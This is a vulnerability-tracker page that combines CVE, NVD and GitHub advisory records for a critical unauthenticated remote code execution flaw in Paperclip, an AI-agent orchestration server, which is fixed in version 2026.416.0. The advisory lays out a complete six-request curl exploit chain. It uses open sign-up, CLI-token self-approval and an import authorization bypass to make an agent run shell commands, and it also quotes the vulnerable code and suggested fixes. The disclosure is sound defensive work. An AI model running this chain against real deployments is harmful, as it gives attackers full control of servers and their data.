Paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Prior to version 2026.416.0, an unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The chain consists of six API calls. The attack is fully automated, requires no user interaction, and works against the default deployment configuration. Version 2026.416.0 patches the issue.

Source published

23 Apr 2026 00:53:16 UTC

Source modified

23 Apr 2026 16:23:25 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Prior to version 2026.416.0, an unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The chain consists of six API calls. The attack is fully automated, requires no user interaction, and works against the default deployment configuration. Version 2026.416.0 patches the issue.

Source published

23 Apr 2026 02:16:19 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 10:10:19 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

## Summary An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls. I verified every step against the latest version. I have a fully automated PoC script and a video recording available. Discord: sagi03581 ## Steps to Reproduce The attack chains four independent flaws to escalate from zero access to RCE: ### Step 1: Create an account (no invite, no email verification) ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123","name":"attacker"}' \ http://<target>:3100/api/auth/sign-up/email ``` Returns a valid account immediately. No invite token required, no email verification. This works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`: ```typescript const authDisableSignUp: boolean = disableSignUpFromEnv !== undefined ? disableSignUpFromEnv === "true" : (fileConfig?.auth?.disableSignUp ?? false); // default: open ``` And email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`: ```typescript emailAndPassword: { enabled: true, requireEmailVerification: false, disableSignUp: config.authDisableSignUp, }, ``` The environment variable isn't documented in the deployment guide, so operators don't know it exists. ### Step 2: Sign in ```bash curl -s -v -X POST -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"P@ssw0rd123"}' \ http://<target>:3100/api/auth/sign-in/email ``` Capture the session cookie from the `Set-Cookie` header. ### Step 3: Create a CLI auth challenge and self-approve it Create the challenge (no authentication required at all): ```bash curl -s -X POST -H "Content-Type: application/json" \ -d '{"command":"test"}' \ http://<target>:3100/api/cli-auth/challenges ``` The response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge. Now approve it with our own session: ```bash curl -s -X POST \ -H "Cookie: <session-cookie>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{"token":"<token-from-above>"}' \ http://<target>:3100/api/cli-auth/challenges/<id>/approve ``` The approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge: ```typescript if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) { throw unauthorized("Sign in before approving CLI access"); } // no check that approver !== creator const userId = req.actor.userId ?? "local-board"; const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId); ``` The `boardApiToken` from step 3 is now a persistent API key tied to our account. ### Step 4: Create a company and deploy an agent via import (authorization bypass) This is the critical flaw. The direct company creation endpoint correctly requires instance admin: `server/src/routes/companies.ts:260-264`: ```typescript router.post("/", validate(createCompanySchema), async (req, res) => { assertBoard(req); if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) { throw forbidden("Instance admin required"); } }); ``` But the import endpoint does not: `server/src/routes/companies.ts:170-176`: ```typescript router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => { assertBoard(req); // only checks board type if (req.body.target.mode === "existing_company") { assertCompanyAccess(req, req.body.target.companyId); // only for existing } // NO assertInstanceAdmin for "new_company" mode const result = await portability.importBundle(req.body, ...); }); ``` `assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`. The import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`). ```bash curl -s -X POST -H "Authorization: Bearer <board-api-key>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{ "source": {"type": "inline", "files": { "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx", "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx", ".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt" }}, "target": {"mode": "new_company", "newCompanyName": "attacker-corp"}, "include": {"company": true, "agents": true}, "agents": "all" }' \ http://<target>:3100/api/companies/import ``` Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands. ### Step 5: Trigger the agent ```bash curl -s -X POST -H "Authorization: Bearer <board-api-key>" \ -H "Content-Type: application/json" \ -H "Origin: http://<target>:3100" \ -d '{}' \ http://<target>:3100/api/agents/<agent-id>/wakeup ``` The wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c "id > /tmp/pwned.txt && ..."` as the server's OS user. ### Proof of Concept I have a self-contained bash script that runs the full chain automatically: ``` ./poc_exploit.sh http://<target>:3100 ``` It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds. ## Impact An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them: - Full filesystem access (read/write as the server user) - Access to all data in the Paperclip database - Ability to pivot to internal network services - Ability to disrupt all agent operations The attack is fully automated, requires no user interaction, and works against the default deployment configuration. ## Suggested Fixes ### Critical: Unauthorized board access (the root cause) The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can: - Read adapter configurations and internal API structure - Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`) - Cancel any company's agent runs (same missing check) - Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`) - Create unlimited accounts for resource exhaustion - Wait for the next authorization bug to appear **These need to be fixed together:** 1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly. 2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key. 3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts. ### Critical: Import authorization bypass (the RCE path) 4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`: ```typescript assertBoard(req); if (req.body.target.mode === "new_company") { if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) { throw forbidden("Instance admin required"); } } else { assertCompanyAccess(req, req.body.target.companyId); } ```

Source published

10 Apr 2026 21:08:57 UTC

Source modified

5 May 2026 16:11:43 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL